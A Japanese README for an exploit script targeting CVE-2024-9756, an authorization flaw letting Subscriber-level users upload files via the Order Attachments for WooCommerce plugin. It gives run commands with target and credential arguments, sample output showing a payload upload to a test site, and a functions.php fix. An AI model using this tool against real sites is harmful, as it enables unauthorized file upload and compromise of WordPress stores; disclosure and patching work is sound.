
Order Attachments for WooCommerce 2.0 - 2.4.1 - 認証済み(購読者以上)ユーザーに対する認可の欠如による限定された任意ファイルアップロード
このエクスプロイトは、WordPress用の Order Attachments for WooCommerce プラグイン(バージョン 2.0〜2.4.1)における 認可されていない限定的な任意ファイルアップロードの脆弱性 を悪用します。
この脆弱性により、認証済みユーザー(Subscriber+) は適切な認可なしに制限されたファイルタイプをアップロードできます。
このスクリプトは教育およびセキュリティ研究目的のみで使用してください。 あなたが所有していないシステムに対してこのエクスプロイトを不正に使用することは固く禁じられています。
エクスプロイトを実行する前に、以下を確認してください。
requests モジュール → インストール方法:
pip install requests
python3 CVE-2024-9756.py -u <TARGET_URL> -un <USERNAME> -p <PASSWORD>
例:
python3 CVE-2024-9756.py -u http://192.168.100.74:888/wordpress4 -un khaled -p mypassword
カスタムファイル名 と 注文ID を指定できます。
python3 CVE-2024-9756.py -u <TARGET_URL> -un <USERNAME> -p <PASSWORD> --filename="custom.png" --filetype="image/png"
python3 CVE-2024-9756.py -u <TARGET_URL> -un <USERNAME> -p <PASSWORD> -o 200
成功した場合、スクリプトはアップロードされたファイルの URL を返します。
[*] Initiating authentication...
[✔] Authentication successful.
[*] Deploying payload: Nxploit.jpg to order 196...
[✔] Payload successfully deployed!
🔗 File URL: http://192.168.100.74:888/wordpress4/wp-content/uploads/2025/03/Nxploit.jpg
wp_ajax_wcoa_add_attachment をブロックするように functions.php を修正 します:
if (!current_user_can('manage_woocommerce')) {
wp_send_json_error(['message' => 'Unauthorized'], 403);
exit;
}
このエクスプロイトは教育目的およびセキュリティ研究のために公開されています。
明示的な許可なくシステムに対して不正に使用することは違法であり、サイバーセキュリティ法に基づき処罰の対象となります。
自己責任で使用してください。